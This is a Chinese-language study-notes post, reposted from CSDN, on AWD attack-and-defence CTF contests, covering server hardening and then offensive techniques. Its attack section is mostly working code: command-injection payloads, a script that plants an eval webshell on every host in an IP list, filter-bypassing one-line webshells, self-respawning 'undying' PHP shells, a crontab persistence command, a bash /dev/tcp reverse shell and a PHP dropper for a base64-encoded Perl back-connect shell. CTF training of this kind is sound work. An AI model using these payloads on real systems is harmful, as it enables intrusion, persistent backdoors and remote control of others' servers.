AWD学习(二)
学习参考:
AWD攻防学习总结(草稿状态,待陆续补充)_awd攻防赛入门-CSDN博客
国赛分区赛awd赛后总结-安心做awd混子-安全客 - 安全资讯平台
防御阶段
1.修改各口令密码
(1)修改ssh弱口令:
$ passwd
(2)数据库root口令: 先更改配置文件 connect.php,再使用命令修改:
$ mysql -u root -p
Enter password:
mysql> set password for root@localhost = password('linelineline');
// root=用户名;linelineline=新密码;
修改完 mysql 相关部分后,习惯性使用命令应用修改:
flush privileges;
2.源码备份还原
可以使用Xftp直接拖
tar
备份:
cd /var/www/html
tar -zcvf ~/html.tar.gz *
还原:
rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html
2.数据库备份还原
$ mysqldump -u root -p wlgf > backup.sql
$ mysql -u root -p wlgf < backup.sql
$ mysqldump —all-databases > 1.sql //备份所有数据库
$ mysql -u username -p < 1.sql //还原所有数据库
备份后,如果遇到wlgf数据库被删除的情况:
先进入mysql创建 wlgf 数据库,刷新之后 再恢复
mysql> CREATE DATABASE wlgf;
mysql> flush privileges;
代码审计:Fortify、Seay
Fortify 是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,通过与软件安全漏洞规则集进行匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并可导出报告。扫描的结果中包括详细的安全漏洞信息、相关的安全知识、修复意见。
使用页面如下:
实用命令
- 查找可能的password
cd /var/www/html find .|xargs grep "password"
- 查找后门
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
- 查找flag的位置
使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分
- 检查有没有多余无用端口对外开放
netstat -anptl
克制不死马
1.强行kill掉进程后重启服务(不建议)
ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
2.建立一个和不死马相同名字的文件或者目录,sleep短于不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = 'hi!';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2024-12-09 19:10:12" .index.php');
// usleep(5000);
usleep(1000);
}
?>
3.写python脚本1.py不断删除
import os
import time
def create_and_delete_file(file_name, sleep_time):
while True: # 无限循环
try:
# 创建名为“1.php”的文件
with open(file_name, 'w') as file:
file.write("<?php echo 'Hello, World!'; ?>")
print(f"文件 {file_name} 已创建")
# 短暂等待,时间可以根据需要调整
time.sleep(sleep_time)
# 删除文件
os.remove(file_name)
print(f"文件 {file_name} 已被删除")
except Exception as e:
print(f"发生错误: {e}")
break # 如果发生异常,退出循环
# 调用函数,创建和删除文件
create_and_delete_file("1.php", 0.5) # sleep时间为0.5
4.运行bash脚本
#!/bin/bash
while true
do
#kill -9 进程ID
rm -rf .test.php
done
5.条件竞争
#!/bin/bash
dire="/var/www/html/.test.php/"
file="/var/www/html/.test.php"
rm -rf $file
mkdir $dire
./xx.sh
杀弹反弹shell
查看进程
ps -ef
px -aux
ps -aux | grep www-data
注意 www-data
权限的 /bin/sh
,很有可能是nc
查找并终止特定进程:
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'
//结束命令
ps -aux | grep www-data | grep apache2 | awk '{print $2}' | xargs kill -9
文件监控
监听还原脚本‐>5分钟还原一次
使用本地py环境运行,需要更改sshIP及端口
import paramiko
import os
import time
def web_server_command(command,transport): #对服务器执行命令
ssh = paramiko.SSHClient()
ssh._transport = transport
stdin, stdout, stderr = ssh.exec_command(command)
# print(stdout.read())
def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作
try:
transport = paramiko.Transport(ip, int(port))
transport.connect(username=user, password=passwd)
sftp = paramiko.SFTP.from_transport(transport)
remote_path='/var/www/html/'
remote_file = 'html.tar'
local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'
web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)
if not(os.path.exists(local_path)):
os.makedirs(local_path)
if action == 'get':
sftp.get(remote_path+remote_file,local_path+remote_file)
web_server_command('rm -rf '+remote_path+remote_file,transport)
print('服务器源码保存在'+local_path)
print('正在解压:')
os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)
print('文件解压完成')
else:
web_server_command('rm -rf '+remote_path+'*',transport)
print('清理服务器web目录')
os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')
sftp.put(local_path+remote_file, remote_path+remote_file)
print('上传成功')
web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)
print('还原完毕')
print('-----------------------------')
sftp.close()
except:
pass
print('download or upload error')
def web_server_mysql_action():
#web_server_mysql_action
pass
def web_server_status():
#web_server_status
pass
if __name__ == '__main__':
web1_server_ip='10.241.180.159'
web1_server_port='30021'
web1_server_user='ctf'
web1_server_passwd='123456'
while(1):
for i in range(5,0,-1):
time.sleep(1)
print('倒计时'+str(i)+'秒')
web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')
攻击阶段
nmap扫描端口后,win+alt 选择性粘贴
nmap 172.16.17.202 -p10000-20000
后门任意命令执行
D盾扫出任意命令执行后门,这个预留后门也是最简单的可以碰碰运气打一下看看有没有没修的
news.php
这个漏洞一般都会修的,通过它初步学习一下写马方法
GET传参?id=1(大于1的数字)
// 如果GET请求中存在名为'id'的参数
if(isset($_GET['id'])){
$_html['id']=$_GET['id']; // 将这个参数的值赋给变量$_html的'id'键
// 如果'id'为空,不是数字,小于0,或者大于0但小于1
if(empty($_html['id']) || !is_numeric($_html['id']) || $_html['id']<0 || ($_html['id']>0 && $_html['id']<1)){
echo '<script type="text/javascript">alert("非法访问!");location.href="index.php";</script>';
exit;
}else{ // 如果'id'参数合法
$_html['id']=intval($_html['id']); // 将'id'参数的值转换为整数
}
}
// 如果GET请求中不存在名为'id'的参数
else{
// 输出JavaScript代码,弹出警告框提示“非法访问!”,并将浏览器重定向到index.php页面
echo '<script type="text/javascript">alert("非法访问!");location:index.php;</script>';
exit;
}
GET传参 zzz
构造payload,在源代码中得到flag
/news.php?id=3&zzz=cat /flag
通过命令执行执行上传一句话木马
可以通过命令执行执行上传一句话木马 <?php eval($_REQUEST['1']); ?>
//base64编码编写
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>news.php
//+号被过滤,使用url的%2B代替
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php
//url编码编写
echo %3C?php%20eval($_REQUEST%5B'1'%5D);%20?%3E|url -d>>news.php
使用脚本批量上传
import requests
# 定义payload
payload = "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php"
# ip.txt文件中的每一行都是一个IP地址
with open('ip.txt', 'r') as file:
ips = file.readlines()
# 遍历IP地址列表
for ip in ips:
# 去除换行符
ip = ip.strip()
# 构造完整的URL
url = f"http://{ip}/news.php?id=3&zzz={payload}"
# 发送GET请求
try:
response = requests.get(url, timeout=5)
print(f"Sent payload to {ip}, Status Code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Failed to send payload to {ip}, Error: {e}")
写入后通过HTTP请求执行任意PHP代码
/news.php?id=3&1=system('cat /flag');
脚本批量获取:
import requests
import re
import time
# 使用with语句自动管理文件资源
with open(r'E:\AWD\second\jiaoben\ip.txt', 'r') as f:
with open('flag0.txt', 'w') as flag_file: # 打开flag0.txt文件准备写入
for ip in f:
# 正确构造URL
url = 'http://' + ip.strip()
path = "/news.php?id=1&1=system('cat%20/flag');" # 注意URL编码
payload = url + path
try:
# 发送GET请求
response = requests.get(payload)
# 使用正则表达式搜索flag
result = re.search('[a-z0-9]{32}', response.text)
if response.status_code == 200 and result:
print(url, result.group())
# 将找到的flag写入文件
flag_file.write(result.group() + '\n') # 写入文件并添加换行符
else:
print(url, "There is no flag here")
except requests.exceptions.RequestException as e:
# 打印异常信息
print(f"请求失败:{e}")
# 等待5分钟(300秒)后再次执行
print("等待5分钟...")
time.sleep(300)
XSS
劫持流量实现恶意跳转
没啥实质攻击捣乱一下
可以在修改昵称处插入一句像这样的语句:
<script>window.location.href="http://www.baidu.com";</script>
那么访问/admin 时就会被跳转到百度的首页。
解决: 删除该用户即可
//具体操作:
1.登录mysql数据库:mysql -u root -p
2.使用相关数据库(wlgf):use wlgf
3.查看数据库中所有表的名称:show tables;
4.查看表(user)中所有字段信息:SELECT * FROM user;
5.删除对应(id=3)用户:DELETE FROM user WHERE id = 3;
删除id=2,id=3的用户:DELETE FROM users WHERE id IN (2, 3);
最后再查看表中信息,删除成功了,页面也恢复正常
SQL注入
python sqlmap.py -r "E:\bp\2.txt" --os-shell --batch
--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。
抓包注入页面并保存文件,使用抓包文件进行注入(最准确)
使用Burp抓包,然后保存抓取到的内容到文件中,使用sqlmap -r 加载抓包文件,让sqlmap使用抓包文件中的数据来测试SQL注入漏洞,这种方式是最准确的
权限维持
一句话木马
简单易发现,也很容易被人利用
<?php eval(REQUEST['1']); ?> //php
<script language="php">eval($_POST['1']);</script>
<sCriPt>、<ScRiPt>、<Script> //大小写绕过
<scrscriptipt language="php">eval($_POST['1']);</scrscriptipt> //双写绕过
<%eval request("1")%> //asp
<% E=request("1");eval(E)%> //变形绕过安全检测
过盾一句话
不容易被发现,也不容易被其他队利用
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>
可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag。
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>
$a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);
MD5马
检查POST请求中名为'1'的参数的MD5哈希值,此处1=md5ma
<?php
echo 'hello';
if(md5($_POST['1'])=='6be79677ed2bf64cf4c11c53ac69e56e'){
@eval($_POST['cmd']);
}
?>
不死马
- php file_put_contents写入不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyIxIl0pPT0iNmJlNzk2NzdlZDJiZjY0Y2Y0YzExYzUzYWM2OWU1NmUiKXtAZXZhbCgkX1BPU1RbIjEiXSk7fSA/PicpOyAgCiAgICAgICAgc2xlZXAoMCk7ICAKICAgIH0KPz4='));
GET:1=md5ma
POST:1=system('ls');
- linux命令不死马
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
- php不死马
在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为 .index.php 的不死马隐藏文件
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2024-12-09 19:10:12" .index.php');
usleep(5000);
}
?>
#pass=pass
#密码 a
#文件名 .index.php .DS_story
直接访问:
GET:http://xxx.xxx.xxx.xxx:/.index.php?pass=pass
POST:a=system('cat /flag');
蚁剑连接:
http://xxx.xxx.xxx.xxx:/.index.php?pass=pass
菜刀参考:
-
开头的文件名
在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_REQUEST["a"]);} ?>';
while (1){
file_put_contents($file,$code);
//system('touch -m -d "2024-12-09 19:10:12" .login.php');
file_put_contents($file1,$code);
usleep(5000);
}
?>
#pass=pass&a=system('cat /flag');
-
crontab写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'1a1dc91c907325c69271ddf0c944bc72\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
pass=pass
密码:1
crontab -u www-data CRON_FILE
来指定用户运行指定的定时任务
反弹shell
bash反弹shell bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9 0>&1
nc反弹shell 本地 nc -l -p 8080
可以切换到bash命令去执行,但是会在root目录生成名为~/.bash_history的记录文件。
可以反弹 shell 的 php 脚本:
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif (function_exists('shell_exec')) {
$res = @shell_exec($cfe);
}
elseif (function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (@is_resource($f = @popen($cfe, "r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname, $text) {
if($fp = @fopen($fname, 'w')) {
@fputs($fp, @base64_decode($text));
@fclose($fp);
}
}
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
使用方法:
将 shell 文件上传至可访问的地方,开启 nc 监听
nc -l -vv [port] #这里是 1024,可以自己设置
然后访问该文件,就成功反弹 shell
效果如下:
原文地址:https://blog.csdn.net/2401_82985722/article/details/144208578
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!